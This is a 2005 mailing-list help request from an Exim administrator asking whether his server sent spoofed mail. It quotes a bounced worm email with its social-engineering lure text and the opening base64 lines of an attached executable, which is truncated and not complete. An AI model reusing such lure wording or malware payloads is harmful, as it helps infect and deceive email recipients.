Hi,
I've just recieved this mail, and do not know how this even happened. I'm
finally getting my Exim 4.54 server configured to work well and protected
(at leased I thought), but today I get mail like this one (also one where I
supposedly sent mail to sales@???, but from a different @kormar.net
address).
How is this happening, and what can/should I do to my configuration to stop
it? Actually, is it even coming from my server? I mean, I don't think so,
but I do not know enough to be able to really tell. I tried to grep
'isellsurplus.com' in my log file for 26/27 Nov., but it returned nothing.
Is that sign enough that the mail was not sent through my server?
Thanks in advance to all of you for your help!
Robert
-----Original Message-----
From: postmaster@???
[
mailto:postmaster@milton.aspiresite.com]
Sent: Samstag, 26. November 2005 22:16
To: robert@???
Subject: Undeliverable Mail
undeliverable to noone@???
Original message follows.
Received: from rcqsyep.net [67.8.174.175] by milton.aspiresite.com
(SMTPD32-8.15) id AF091180116; Sat, 26 Nov 2005 22:15:37 -0800
From: robert@???
To: XPost4355@???
Date: Sun, 27 Nov 2005 05:35:35 UTC
Subject: hi, ive a new mail address
Importance: Normal
X-Priority: 3 (Normal)
Message-ID: <dae9ef6cbce5a374@???>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="======cd8ea7c8a3ec14e0.b8f2fb"
Content-Transfer-Encoding: 7bit
This is a multi-part message in MIME format.
--======cd8ea7c8a3ec14e0.b8f2fb
hey its me, my old address dont work at time. i dont know why?!
in the last days ive got some mails. i' think thaz your mails but im not
sure!
plz read and check ...
cyaaaaaaa
--======cd8ea7c8a3ec14e0.b8f2fb
Content-Type: application/octet-stream; name=mailtext.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="mailtext.zip"
UEsDBAoAAAAAAACQdjPMyus3XtgAAF7YAAAYAAAARmlsZS1wYWNrZWRfZGF0YUluZm8uZXhlTVqQ
AAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
yAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUu
DQ0KJAAAAAAAAABd+8faGZqpiRmaqYkZmqmJmoaniRiaqYlwhaCJHJqpiQmFpIkYmqmJUmljaBma
qYkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAOVIXUMAAAAAAAAAAOAADwELAQYAANAA
AAAQAAAAQAIA0BkDAABQAgAAIAMAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAAAwAwAAEAAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEAiAwCcAAAAACADAEACAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAC
AAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOAAAAAAAAAAAADQAAAAUAIAAMwAAAAEAAAAAAAA
AAAAAAAAAABAAADgLnJzcmMAAAAAEAAAACADAAAEAAAA0AAAAAAAAAAAAAAAAAAAQAAAwAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[message truncated]
